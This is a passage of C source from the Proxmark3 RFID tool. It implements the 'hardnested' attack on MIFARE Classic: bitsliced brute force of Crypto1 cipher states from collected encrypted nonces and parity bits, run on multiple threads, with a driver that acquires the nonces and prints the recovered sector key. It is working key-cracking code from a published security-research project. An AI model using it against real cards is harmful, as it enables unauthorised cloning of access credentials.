1415 bucket_size[bitsliced_blocks] = max_slices;
1416 #endif
1417 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1418 uint32_t e = *(p_even+slice_idx);
1419 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1420 // set even bits
1421 if(e&1){
1422 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1423 }
1424 }
1425 }
1426 // compute the rollback bits
1427 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1428 // inlined crypto1_bs_lfsr_rollback
1429 const bitslice_value_t feedout = lstate_p[0].value;
1430 ++lstate_p;
1431 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1432 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1433 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1434 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1435 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1436 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1437 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1438 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1439 }
1440 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1441 }
1442
1443 // bitslice every odd state to every block of even half-states with half-finished rollback
1444 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1445 // early abort
1446 if(keys_found){
1447 goto out;
1448 }
1449
1450 // set the odd bits and compute rollback
1451 uint64_t o = (uint64_t) *p_odd;
1452 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1453 // pre-compute part of the odd feedback bits (minus rollback)
1454 bool odd_feedback_bit = parity(o&0x9ce5c);
1455
1456 crypto1_bs_rewind_a0();
1457 // set odd bits
1458 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1459 if(o & 1){
1460 state_p[state_idx] = bs_ones;
1461 } else {
1462 state_p[state_idx] = bs_zeroes;
1463 }
1464 }
1465 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1466
1467 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1468 const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1469 size_t state_idx;
1470 // set even bits
1471 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1472 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1473 }
1474 // set rollback bits
1475 uint64_t lo = o;
1476 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1477 // set the odd bits and take in the odd rollback bits from the even states
1478 if(lo & 1){
1479 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1480 } else {
1481 state_p[state_idx] = bitsliced_even_state[state_idx];
1482 }
1483
1484 // set the even bits and take in the even rollback bits from the odd states
1485 if((lo >> 32) & 1){
1486 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1487 } else {
1488 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1489 }
1490 }
1491
1492 #ifdef EXACT_COUNT
1493 bucket_states_tested += bucket_size[block_idx];
1494 #endif
1495 // pre-compute first keystream and feedback bit vectors
1496 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1497 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1498 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1499 state_p[47-24].value ^ state_p[47-42].value);
1500
1501 // vector to contain test results (1 = passed, 0 = failed)
1502 bitslice_t results = bs_ones;
1503
1504 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1505 size_t parity_bit_idx = 0;
1506 bitslice_value_t fb_bits = fbb;
1507 bitslice_value_t ks_bits = ksb;
1508 state_p = &states[KEYSTREAM_SIZE-1];
1509 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1510
1511 // highest bit is transmitted/received first
1512 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1513 // decrypt nonce bits
1514 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1515 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1516
1517 // compute real parity bits on the fly
1518 parity_bit_vector ^= decrypted_nonce_bit_vector;
1519
1520 // update state
1521 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1522
1523 // compute next keystream bit
1524 ks_bits = crypto1_bs_f20(state_p);
1525
1526 // for each byte:
1527 if((ks_idx&7) == 0){
1528 // get encrypted parity bits
1529 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1530
1531 // decrypt parity bits
1532 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1533
1534 // compare actual parity bits with decrypted parity bits and take count in results vector
1535 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1536
1537 // make sure we still have a match in our set
1538 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1539
1540 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1541 // the short-circuiting also helps
1542 if(results.bytes64[0] == 0
1543 #if MAX_BITSLICES > 64
1544 && results.bytes64[1] == 0
1545 #endif
1546 #if MAX_BITSLICES > 128
1547 && results.bytes64[2] == 0
1548 && results.bytes64[3] == 0
1549 #endif
1550 ){
1551 goto stop_tests;
1552 }
1553 // this is about as fast but less portable (requires -std=gnu99)
1554 // asm goto ("ptest %1, %0\n\t"
1555 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1556 parity_bit_vector = bs_zeroes.value;
1557 }
1558 // compute next feedback bit vector
1559 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1560 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1561 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1562 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1563 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1564 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1565 }
1566 }
1567 // all nonce tests were successful: we've found the key in this block!
1568 state_t keys[MAX_BITSLICES];
1569 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1570 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1571 if(get_vector_bit(results_idx, results)){
1572 key = keys[results_idx].value;
1573 goto out;
1574 }
1575 }
1576 stop_tests:
1577 // prepare to set new states
1578 crypto1_bs_rewind_a0();
1579 continue;
1580 }
1581 }
1582
1583 out:
1584 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1585
1586 #ifdef __WIN32
1587 #ifdef __MINGW32__
1588 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1589 #else
1590 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1591 #endif
1592 #else
1593 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1594 #endif
1595
1596 }
1597 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1598 return key;
1599 }
1600
1601 static void* crack_states_thread(void* x){
1602 const size_t thread_id = (size_t)x;
1603 size_t current_bucket = thread_id;
1604 while(current_bucket < bucket_count){
1605 statelist_t * bucket = buckets[current_bucket];
1606 if(bucket){
1607 const uint64_t key = crack_states_bitsliced(bucket);
1608 if(key != -1){
1609 printf("\nFound key: %012"PRIx64"\n", key);
1610 __sync_fetch_and_add(&keys_found, 1);
1611 break;
1612 } else if(keys_found){
1613 break;
1614 } else {
1615 printf(".");
1616 fflush(stdout);
1617 }
1618 }
1619 current_bucket += thread_count;
1620 }
1621 return NULL;
1622 }
1623
1624 static void brute_force(void)
1625 {
1626 if (known_target_key != -1) {
1627 PrintAndLog("Looking for known target key in remaining key space...");
1628 TestIfKeyExists(known_target_key);
1629 } else {
1630 PrintAndLog("Brute force phase starting.");
1631 time_t start, end;
1632 time(&start);
1633 keys_found = 0;
1634
1635 crypto1_bs_init();
1636
1637 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1638 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
1639 // convert to 32 bit little-endian
1640 crypto1_bs_bitslice_value32(rev32((best_first_bytes[0]^(cuid>>24))), bitsliced_rollback_byte, 8);
1641
1642 PrintAndLog("Bitslicing nonces...");
1643 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1644 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1645 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1646 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1647 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1648 // convert to 32 bit little-endian
1649 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1650 }
1651 total_states_tested = 0;
1652
1653 // count number of states to go
1654 bucket_count = 0;
1655 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1656 buckets[bucket_count] = p;
1657 bucket_count++;
1658 }
1659
1660 #ifndef __WIN32
1661 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1662 if ( thread_count < 1)
1663 thread_count = 1;
1664 #endif /* _WIN32 */
1665 pthread_t threads[thread_count];
1666
1667 // enumerate states using all hardware threads, each thread handles one bucket
1668 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu32" states...", thread_count, bucket_count, maximum_states);
1669
1670 for(size_t i = 0; i < thread_count; i++){
1671 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1672 }
1673 for(size_t i = 0; i < thread_count; i++){
1674 pthread_join(threads[i], 0);
1675 }
1676
1677 time(&end);
1678 unsigned long elapsed_time = difftime(end, start);
1679 if(keys_found){
1680 PrintAndLog("Success! Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1681 } else {
1682 PrintAndLog("Fail! Tested %"PRIu32" states, in %u seconds", total_states_tested, elapsed_time);
1683 }
1684 // reset this counter for the next call
1685 nonces_to_bruteforce = 0;
1686 }
1687 }
1688
1689 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1690 {
1691 // initialize Random number generator
1692 time_t t;
1693 srand((unsigned) time(&t));
1694
1695 if (trgkey != NULL) {
1696 known_target_key = bytes_to_num(trgkey, 6);
1697 } else {
1698 known_target_key = -1;
1699 }
1700
1701 init_partial_statelists();
1702 init_BitFlip_statelist();
1703 write_stats = false;
1704
1705 if (tests) {
1706 // set the correct locale for the stats printing
1707 setlocale(LC_ALL, "");
1708 write_stats = true;
1709 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1710 PrintAndLog("Could not create/open file hardnested_stats.txt");
1711 return 3;
1712 }
1713 for (uint32_t i = 0; i < tests; i++) {
1714 init_nonce_memory();
1715 simulate_acquire_nonces();
1716 Tests();
1717 printf("Sum(a0) = %d\n", first_byte_Sum);
1718 fprintf(fstats, "%d;", first_byte_Sum);
1719 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1720 brute_force();
1721 free_nonces_memory();
1722 free_statelist_cache();
1723 free_candidates_memory(candidates);
1724 candidates = NULL;
1725 }
1726 fclose(fstats);
1727 } else {
1728 init_nonce_memory();
1729 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1730 if (read_nonce_file() != 0) {
1731 return 3;
1732 }
1733 Check_for_FilterFlipProperties();
1734 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1735 } else { // acquire nonces.
1736 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1737 if (is_OK != 0) {
1738 return is_OK;
1739 }
1740 }
1741
1742 Tests();
1743
1744 PrintAndLog("");
1745 PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1746 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1747 // best_first_bytes[0],
1748 // best_first_bytes[1],
1749 // best_first_bytes[2],
1750 // best_first_bytes[3],
1751 // best_first_bytes[4],
1752 // best_first_bytes[5],
1753 // best_first_bytes[6],
1754 // best_first_bytes[7],
1755 // best_first_bytes[8],
1756 // best_first_bytes[9] );
1757 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1758
1759 clock_t time1 = clock();
1760 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1761 time1 = clock() - time1;
1762 if ( time1 > 0 )
1763 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1764
1765 brute_force();
1766 free_nonces_memory();
1767 free_statelist_cache();
1768 free_candidates_memory(candidates);
1769 candidates = NULL;
1770 }
1771 return 0;
1772 }
1773
1774
Proxmark3 GIT tracking
Impressum, Datenschutz